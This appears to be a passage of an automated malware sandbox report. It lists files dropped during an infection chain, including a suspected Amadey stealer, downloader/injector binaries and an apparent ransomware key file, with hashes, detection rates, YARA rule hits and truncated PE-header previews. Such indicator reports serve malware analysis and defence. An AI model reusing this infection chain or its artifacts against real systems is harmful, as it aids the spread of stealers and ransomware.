SSDEEP:	98304:V127F4DH/LHW+MQ7TZeDTRFh0ZKzXqw8jY:quqkfadIZGXqvjY
MD5:	2AF03D52F9CF9E53DFFC1183B403E1B7
SHA1:	124D97058DB289DA50A48F90911BE2D67649F629
SHA-256:	A41F46EF947C9FF3B1E5625E6CF5799E776A55E48F54F7FFFE19E08E826DE99A
SHA-512:	7D773C689DC4DD3BE9807C00207CF2713767C77C2B25B9EEB47FA7C0F87E05FA3736D25D79B428771D0FDE6C0F25FCCC476589817AA7FA93E622230E75AD65D8
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\6FA9.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pd.................<N..........ZN.. ...`N...@.. ........................N...........@.................................PZN.K....`N.......................N...................................................... ............... ..H............text....:N.. ...<N................. ..`.rsrc........`N......>N.............@..@.reloc........N......DN.............@..B.................ZN.....H........DN.\............'....N..........................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NewPlayer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	255488
Entropy (8bit):	6.3672540076726225
Encrypted:	false
SSDEEP:	6144:W9ynaiEzdOYqdjqqMth9iiry6Q2IbiiRWu1i5bDuPmyye:yWcmAh9ix2r1u1ile
MD5:	08240E71429B32855B418A4ACF0E38EC
SHA1:	B180ACE2EA6815775D29785C985B576DC21B76B5
SHA-256:	A41B4591C7351562ED9125DA2C93DB246E87E05198D2EC0951733D1919E119D8
SHA-512:	69FA8CAE9BF69BCC498CFD7AF08FCDFD299440BA0DD679835CC8EA14F07B0346F965F88350A5261F2312E046B0DD498B8453D647B5F023762E4265FFA47472BF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z....D...D...D...E...D...EG..D...E...D2..E...D2..E...D2..E...D...E...D...DE..D\|..E...D\|..D...D\|..E...DRich...D........PE..L....T.c............................u.............@..........................@............@.................................0......................................0p..p...................Dq.......p..@...............d............................text............................... ..`.rdata..............................@..@.data....D..........................@....rsrc...............................@..@.reloc..........,..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\853321935212

Download File

Process:	C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	96926
Entropy (8bit):	7.918189757438893
Encrypted:	false
SSDEEP:	1536:Cf0zfAYPjM2DR2hqkyycWq4lvY2QcdOrVUxwAQFBG7jZy3X40wzKqRB0QzYubCKa:X7bjM2D08huQcdS0sBGo3Z45znbCK6qe
MD5:	7D553C2E447C480D12E974789BD25005
SHA1:	3F3FA3E0E8EC8824DE8C0B9958EDF9D5E2D431BB
SHA-256:	343F4273AF9F9D7E845AFAE56851D1964F508D239A87796B2BA05BE9B7D695DF
SHA-512:	BB0268A0F155C0B7D1D7EBE36567B8882BC188D3B94A5640D4224BE8A9309EE5E5CABB63D23EDF76F320D2D825DA4326572FD033F18B8750613468FC33E9104A
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\...x....Mj}9oE...7..........]..(...x..:.e...+..6..r.....#XP.Q^(.uz.........G...V_.~....3.c.o.?g.......z.8...Q...9(.Z.'.C...U...5..+....)h...i)M.,c.%}=g._.w.6..i"W!n_. .Z................7.R>\..W.W........gu.8..7-...._....'...^X....+u1......n..J.QKIZ.-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...

C:\Users\user\AppData\Local\Temp\913F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809984
Entropy (8bit):	7.646586492015294
Encrypted:	false
SSDEEP:	12288:6aBz+gzWrFGCkY9J22msYEy85LJxg1YSlniLs4CEhtYdGJ+CejE:/z+gzW7Z22byv1YSsA4CpdGJ+I
MD5:	15BC205C2CAF7196EE2267087C3B2BB8
SHA1:	0E1EE7E4CCAFD5A62D6B2B3A9369709EAB0E1F0B
SHA-256:	FDEE1B99A95C5DFB4A256CDB7E43CE3F21A5D2C2977CE252AAFFA77A9E017DDF
SHA-512:	DBFD1C50D16F21084B542A2ABD2B35F6489D30B55E9B5B8DC9014BCC9C4AE8A24DF08A659B28EAD862291BC65107A34C0CDA8CAD08A354E92FA23138D21F662C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...........PE..L.....b.................L...H&.....9N.......`....@...........................0.....4.......................................XO..d.......0.....................0..... ................................1..@............................................text....J.......L.................. ..`.data...DX$..`.......P..............@....rsrc...0............n..............@..@.reloc.."8....0..:..."..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9F31.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5129728
Entropy (8bit):	7.738068755959416
Encrypted:	false
SSDEEP:	98304:V127F4DH/LHW+MQ7TZeDTRFh0ZKzXqw8jY:quqkfadIZGXqvjY
MD5:	2AF03D52F9CF9E53DFFC1183B403E1B7
SHA1:	124D97058DB289DA50A48F90911BE2D67649F629
SHA-256:	A41F46EF947C9FF3B1E5625E6CF5799E776A55E48F54F7FFFE19E08E826DE99A
SHA-512:	7D773C689DC4DD3BE9807C00207CF2713767C77C2B25B9EEB47FA7C0F87E05FA3736D25D79B428771D0FDE6C0F25FCCC476589817AA7FA93E622230E75AD65D8
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\9F31.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pd.................<N..........ZN.. ...`N...@.. ........................N...........@.................................PZN.K....`N.......................N...................................................... ............... ..H............text....:N.. ...<N................. ..`.rsrc........`N......>N.............@..@.reloc........N......DN.............@..B.................ZN.....H........DN.\............'....N..........................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

C:\Users\user\AppData\Local\Temp\A170.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809984
Entropy (8bit):	7.646586492015294
Encrypted:	false
SSDEEP:	12288:6aBz+gzWrFGCkY9J22msYEy85LJxg1YSlniLs4CEhtYdGJ+CejE:/z+gzW7Z22byv1YSsA4CpdGJ+I
MD5:	15BC205C2CAF7196EE2267087C3B2BB8
SHA1:	0E1EE7E4CCAFD5A62D6B2B3A9369709EAB0E1F0B
SHA-256:	FDEE1B99A95C5DFB4A256CDB7E43CE3F21A5D2C2977CE252AAFFA77A9E017DDF
SHA-512:	DBFD1C50D16F21084B542A2ABD2B35F6489D30B55E9B5B8DC9014BCC9C4AE8A24DF08A659B28EAD862291BC65107A34C0CDA8CAD08A354E92FA23138D21F662C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...........PE..L.....b.................L...H&.....9N.......`....@...........................0.....4.......................................XO..d.......0.....................0..... ................................1..@............................................text....J.......L.................. ..`.data...DX$..`.......P..............@....rsrc...0............n..............@..@.reloc.."8....0..:..."..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A3D5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809984
Entropy (8bit):	7.646586492015294
Encrypted:	false
SSDEEP:	12288:6aBz+gzWrFGCkY9J22msYEy85LJxg1YSlniLs4CEhtYdGJ+CejE:/z+gzW7Z22byv1YSsA4CpdGJ+I
MD5:	15BC205C2CAF7196EE2267087C3B2BB8
SHA1:	0E1EE7E4CCAFD5A62D6B2B3A9369709EAB0E1F0B
SHA-256:	FDEE1B99A95C5DFB4A256CDB7E43CE3F21A5D2C2977CE252AAFFA77A9E017DDF
SHA-512:	DBFD1C50D16F21084B542A2ABD2B35F6489D30B55E9B5B8DC9014BCC9C4AE8A24DF08A659B28EAD862291BC65107A34C0CDA8CAD08A354E92FA23138D21F662C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...........PE..L.....b.................L...H&.....9N.......`....@...........................0.....4.......................................XO..d.......0.....................0..... ................................1..@............................................text....J.......L.................. ..`.data...DX$..`.......P..............@....rsrc...0............n..............@..@.reloc.."8....0..:..."..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B46F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	802304
Entropy (8bit):	7.685061735084475
Encrypted:	false
SSDEEP:	24576:6nRTyItqh7DLUjjuiX+tR+WoXeAWG1qzz5E:8TZta/Uja7siAW
MD5:	6944FCA258A9009F9D3B7212CDB4874D
SHA1:	1E20555089B3D2B9E34B44422C8E6C3061E68F0E
SHA-256:	D34D06CCD3BA7877664E4769FF708D7C412EE5F43A76F2A2CE962C843CC5C35B
SHA-512:	A05299352297160D62FB91A75EC7D30E8C00CDAB97BFEF112429B0CED6041A3E6FB232686FF6A4080E9C98797B4D224792C6339600084DED4B12B0595575EDC0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L....4.a.................N...(&.....YN.......`....@...........................0..............................................Q..d............................`0..... ...............................P1..@............................................text...JL.......N.................. ..`.data...DX$..`.......R..............@....rsrc................p..............@..@.reloc...8...`0..:..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B8C8.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809984
Entropy (8bit):	7.646586492015294
Encrypted:	false
SSDEEP:	12288:6aBz+gzWrFGCkY9J22msYEy85LJxg1YSlniLs4CEhtYdGJ+CejE:/z+gzW7Z22byv1YSsA4CpdGJ+I
MD5:	15BC205C2CAF7196EE2267087C3B2BB8
SHA1:	0E1EE7E4CCAFD5A62D6B2B3A9369709EAB0E1F0B
SHA-256:	FDEE1B99A95C5DFB4A256CDB7E43CE3F21A5D2C2977CE252AAFFA77A9E017DDF
SHA-512:	DBFD1C50D16F21084B542A2ABD2B35F6489D30B55E9B5B8DC9014BCC9C4AE8A24DF08A659B28EAD862291BC65107A34C0CDA8CAD08A354E92FA23138D21F662C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...........PE..L.....b.................L...H&.....9N.......`....@...........................0.....4.......................................XO..d.......0.....................0..... ................................1..@............................................text....J.......L.................. ..`.data...DX$..`.......P..............@....rsrc...0............n..............@..@.reloc.."8....0..:..."..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BC2.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	802304
Entropy (8bit):	7.685061735084475
Encrypted:	false
SSDEEP:	24576:6nRTyItqh7DLUjjuiX+tR+WoXeAWG1qzz5E:8TZta/Uja7siAW
MD5:	6944FCA258A9009F9D3B7212CDB4874D
SHA1:	1E20555089B3D2B9E34B44422C8E6C3061E68F0E
SHA-256:	D34D06CCD3BA7877664E4769FF708D7C412EE5F43A76F2A2CE962C843CC5C35B
SHA-512:	A05299352297160D62FB91A75EC7D30E8C00CDAB97BFEF112429B0CED6041A3E6FB232686FF6A4080E9C98797B4D224792C6339600084DED4B12B0595575EDC0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L....4.a.................N...(&.....YN.......`....@...........................0..............................................Q..d............................`0..... ...............................P1..@............................................text...JL.......N.................. ..`.data...DX$..`.......R..............@....rsrc................p..............@..@.reloc...8...`0..:..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C861.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	6.584915706285476
Encrypted:	false
SSDEEP:	3072:tiaWGvA5BMvdYuAJ2qiGD0swth9Ewaf/s7htn5gYTtic7:t4GvAMdj40th7a3s7SYTtic
MD5:	7A8E3D000FBA0F5765B98E2D78EB9D12
SHA1:	2DFF944F970FAEF5C6FA92AC8FBE82C9251553F3
SHA-256:	13744BE5698FFDDC96D55415FDEEBDE4921ED199B4174251D83F1FD5B5A05C66
SHA-512:	1D56B0DD129D7A1C1E76B110F9CEE4C63D2F021BCDCACA53CD780CC5E6B6CAFD6CEBC70FB62198910CAE2E4E9EA083216611923C72A4120FCC30CA3894A058DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L...G..c.................~..."&.....YN............@...........................(.................................................d.....&.......................(..... ...............................P1..@............................................text....}.......~.................. ..`.data...DX$.........................@....rsrc.........&.....................@..@.reloc...3....(..4...4..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CBE6.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	802304
Entropy (8bit):	7.685061735084475
Encrypted:	false
SSDEEP:	24576:6nRTyItqh7DLUjjuiX+tR+WoXeAWG1qzz5E:8TZta/Uja7siAW
MD5:	6944FCA258A9009F9D3B7212CDB4874D
SHA1:	1E20555089B3D2B9E34B44422C8E6C3061E68F0E
SHA-256:	D34D06CCD3BA7877664E4769FF708D7C412EE5F43A76F2A2CE962C843CC5C35B
SHA-512:	A05299352297160D62FB91A75EC7D30E8C00CDAB97BFEF112429B0CED6041A3E6FB232686FF6A4080E9C98797B4D224792C6339600084DED4B12B0595575EDC0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L....4.a.................N...(&.....YN.......`....@...........................0..............................................Q..d............................`0..... ...............................P1..@............................................text...JL.......N.................. ..`.data...DX$..`.......R..............@....rsrc................p..............@..@.reloc...8...`0..:..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D689.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	809984
Entropy (8bit):	7.646586492015294
Encrypted:	false
SSDEEP:	12288:6aBz+gzWrFGCkY9J22msYEy85LJxg1YSlniLs4CEhtYdGJ+CejE:/z+gzW7Z22byv1YSsA4CpdGJ+I
MD5:	15BC205C2CAF7196EE2267087C3B2BB8
SHA1:	0E1EE7E4CCAFD5A62D6B2B3A9369709EAB0E1F0B
SHA-256:	FDEE1B99A95C5DFB4A256CDB7E43CE3F21A5D2C2977CE252AAFFA77A9E017DDF
SHA-512:	DBFD1C50D16F21084B542A2ABD2B35F6489D30B55E9B5B8DC9014BCC9C4AE8A24DF08A659B28EAD862291BC65107A34C0CDA8CAD08A354E92FA23138D21F662C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...........PE..L.....b.................L...H&.....9N.......`....@...........................0.....4.......................................XO..d.......0.....................0..... ................................1..@............................................text....J.......L.................. ..`.data...DX$..`.......P..............@....rsrc...0............n..............@..@.reloc.."8....0..:..."..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D804.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	802304
Entropy (8bit):	7.685061735084475
Encrypted:	false
SSDEEP:	24576:6nRTyItqh7DLUjjuiX+tR+WoXeAWG1qzz5E:8TZta/Uja7siAW
MD5:	6944FCA258A9009F9D3B7212CDB4874D
SHA1:	1E20555089B3D2B9E34B44422C8E6C3061E68F0E
SHA-256:	D34D06CCD3BA7877664E4769FF708D7C412EE5F43A76F2A2CE962C843CC5C35B
SHA-512:	A05299352297160D62FB91A75EC7D30E8C00CDAB97BFEF112429B0CED6041A3E6FB232686FF6A4080E9C98797B4D224792C6339600084DED4B12B0595575EDC0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L....4.a.................N...(&.....YN.......`....@...........................0..............................................Q..d............................`0..... ...............................P1..@............................................text...JL.......N.................. ..`.data...DX$..`.......R..............@....rsrc................p..............@..@.reloc...8...`0..:..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EA44.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	802304
Entropy (8bit):	7.685061735084475
Encrypted:	false
SSDEEP:	24576:6nRTyItqh7DLUjjuiX+tR+WoXeAWG1qzz5E:8TZta/Uja7siAW
MD5:	6944FCA258A9009F9D3B7212CDB4874D
SHA1:	1E20555089B3D2B9E34B44422C8E6C3061E68F0E
SHA-256:	D34D06CCD3BA7877664E4769FF708D7C412EE5F43A76F2A2CE962C843CC5C35B
SHA-512:	A05299352297160D62FB91A75EC7D30E8C00CDAB97BFEF112429B0CED6041A3E6FB232686FF6A4080E9C98797B4D224792C6339600084DED4B12B0595575EDC0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L....4.a.................N...(&.....YN.......`....@...........................0..............................................Q..d............................`0..... ...............................P1..@............................................text...JL.......N.................. ..`.data...DX$..`.......R..............@....rsrc................p..............@..@.reloc...8...`0..:..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F4F7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	6.584915706285476
Encrypted:	false
SSDEEP:	3072:tiaWGvA5BMvdYuAJ2qiGD0swth9Ewaf/s7htn5gYTtic7:t4GvAMdj40th7a3s7SYTtic
MD5:	7A8E3D000FBA0F5765B98E2D78EB9D12
SHA1:	2DFF944F970FAEF5C6FA92AC8FBE82C9251553F3
SHA-256:	13744BE5698FFDDC96D55415FDEEBDE4921ED199B4174251D83F1FD5B5A05C66
SHA-512:	1D56B0DD129D7A1C1E76B110F9CEE4C63D2F021BCDCACA53CD780CC5E6B6CAFD6CEBC70FB62198910CAE2E4E9EA083216611923C72A4120FCC30CA3894A058DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.....\|...c...\|...c...\|...c...Richb...................PE..L...G..c.................~..."&.....YN............@...........................(.................................................d.....&.......................(..... ...............................P1..@............................................text....}.......~.................. ..`.data...DX$.........................@....rsrc.........&.....................@..@.reloc...3....(..4...4..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NewPlayer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3C54.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	255488
Entropy (8bit):	6.3672540076726225
Encrypted:	false
SSDEEP:	6144:W9ynaiEzdOYqdjqqMth9iiry6Q2IbiiRWu1i5bDuPmyye:yWcmAh9ix2r1u1ile
MD5:	08240E71429B32855B418A4ACF0E38EC
SHA1:	B180ACE2EA6815775D29785C985B576DC21B76B5
SHA-256:	A41B4591C7351562ED9125DA2C93DB246E87E05198D2EC0951733D1919E119D8
SHA-512:	69FA8CAE9BF69BCC498CFD7AF08FCDFD299440BA0DD679835CC8EA14F07B0346F965F88350A5261F2312E046B0DD498B8453D647B5F023762E4265FFA47472BF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z....D...D...D...E...D...EG..D...E...D2..E...D2..E...D2..E...D...E...D...DE..D\|..E...D\|..D...D\|..E...DRich...D........PE..L....T.c............................u.............@..........................@............@.................................0......................................0p..p...................Dq.......p..@...............d............................text............................... ..`.rdata..............................@..@.data....D..........................@....rsrc...............................@..@.reloc..........,..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XandETC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3C54.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3890176
Entropy (8bit):	7.902408557753204
Encrypted:	false
SSDEEP:	49152:8Pu803iSM2N7aUjjqpEbUS2qv5MQBsSY/b7KoiTFUgxylC42lVJpiU71PP:s12BEE4vqxMQzub7OTFUgxylqTiU7J
MD5:	3006B49F3A30A80BB85074C279ACC7DF
SHA1:	728A7A867D13AD0034C29283939D94F0DF6C19DF
SHA-256:	F283B4C0AD4A902E1CB64201742CA4C5118F275E7B911A7DAFDA1EF01B825280
SHA-512:	E8FC5791892D7F08AF5A33462A11D39D29B5E86A62CBF135B12E71F2FCAAA48D40D5E3238F64E17A2F126BCFB9D70553A02D30DC60A89F1089B2C1E7465105DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 73%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...Bu.c...............&.....X;................@..............................;.....!.;...`... ...............................................8.......9.......8...............;...............................8.(...................D.8..............................text...............................`..`.data.....7.......7.................@....rdata........8.......8.............@..@.pdata........8.......8.............@..@.xdata........8.......8.............@..@.bss....8.....8..........................idata........8.......8.............@....CRT....h.....8.......8.............@....tls..........9.......8.............@....rsrc.........9.......8.............@....reloc........;......Z;.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aafg31.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3C54.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	973312
Entropy (8bit):	4.572314384956297
Encrypted:	false
SSDEEP:	12288:5sJc/3ljJhGbZmEWh6dSs/1xsBwggGLXKPXPiXuHNHGb6bH/zx/GCLW/nh/X:5sMhVhC37ggG
MD5:	B4F79B3194235084A3EC85711EDFBD38
SHA1:	4E5DC4085DAFBE91F8FBE3265C49A9BF6E14E43D
SHA-256:	D425F18F931A8224C162FEE1804E5101BC538FE8E85C7A11D73D2BA4833ADDF4
SHA-512:	B22737BB7D80FC87D40B3762EB51B921B7AE1BA6BB3BA20F0E6940F5E91EB23DDBB44C9E8F8A7F9EE332542738CBF700688629EBA17E7D04190E5DB95A019964
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4.Z...Z...Z.iu....Z.iu....Z.iu....Z...[..Z.iu....Z.iu....Z.iu....Z.iu....Z.Rich..Z.........................PE..d...\..R..........".................t5.........@............................D.............`.......... .................................................`/...p...'.................................................. ................................................text............................... ..`.data....B... ...:..................@....pdata...'...p...(...B..............@....idata...(.......*...j..............@..@.rsrc...`/.......0..................@..@.reloc..D...........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	560
Entropy (8bit):	6.009613601911672
Encrypted:	false
SSDEEP:	12:YGJ68UiiMLwLR8AFq5I5WhsRtCV64uzR5W:YgJUFfFxg0cV/MI
MD5:	9252E3DCF847925C8080204C028EBAE6
SHA1:	498661D45D44EDED195FBB98AEC310D87BF1947E
SHA-256:	2ED806DEEF0185D3983A46422B07B33CB62FF04873066C7E315876C644B4D4D8
SHA-512:	71970EFCE4E86B1415696A792DC595F7E9993A587B34D4E000677B8C647A6CDE43845B7E1EBE3EE7F54D0937D2D42B4F8C3ED1C7F4468D2BF8392D57E3A625D3
Malicious:	false
Reputation:	unknown
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzVVm4tu5iyZw13a\/GiU0\\nV5T6yum3k8oXJuPfu\/dlDp5n6Tzk6N8vnuKpjC8lkV7xuMYgdtfQ4cWYKxUvBMa5\\nZoYlzVSlrIVedQM2wz2yOUQcOIoagsxQEzv9Of3rNy2gF4dr82Kp8IaqDk0c3hjz\\nmazDrTR\/jjRhNxY80qI9FZk8pFyou7p\/wowlaHHEiFkCdD2yrZBW1b8jmpuEPqdm\\nH+Nas4N51zRvyqkWCKO68bPnX70ZcR1zLiCfJNxJJ\/wx\/uRwZXCJW3Mhdz+bwMqd\\nhECMff6Chw2XhPIKlGEHGhqCwRLO+yfVnjAF8Tu6hWIg7qhC0tx1sT2u6Xy02NLT\\ntQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc"}

C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe

Download File

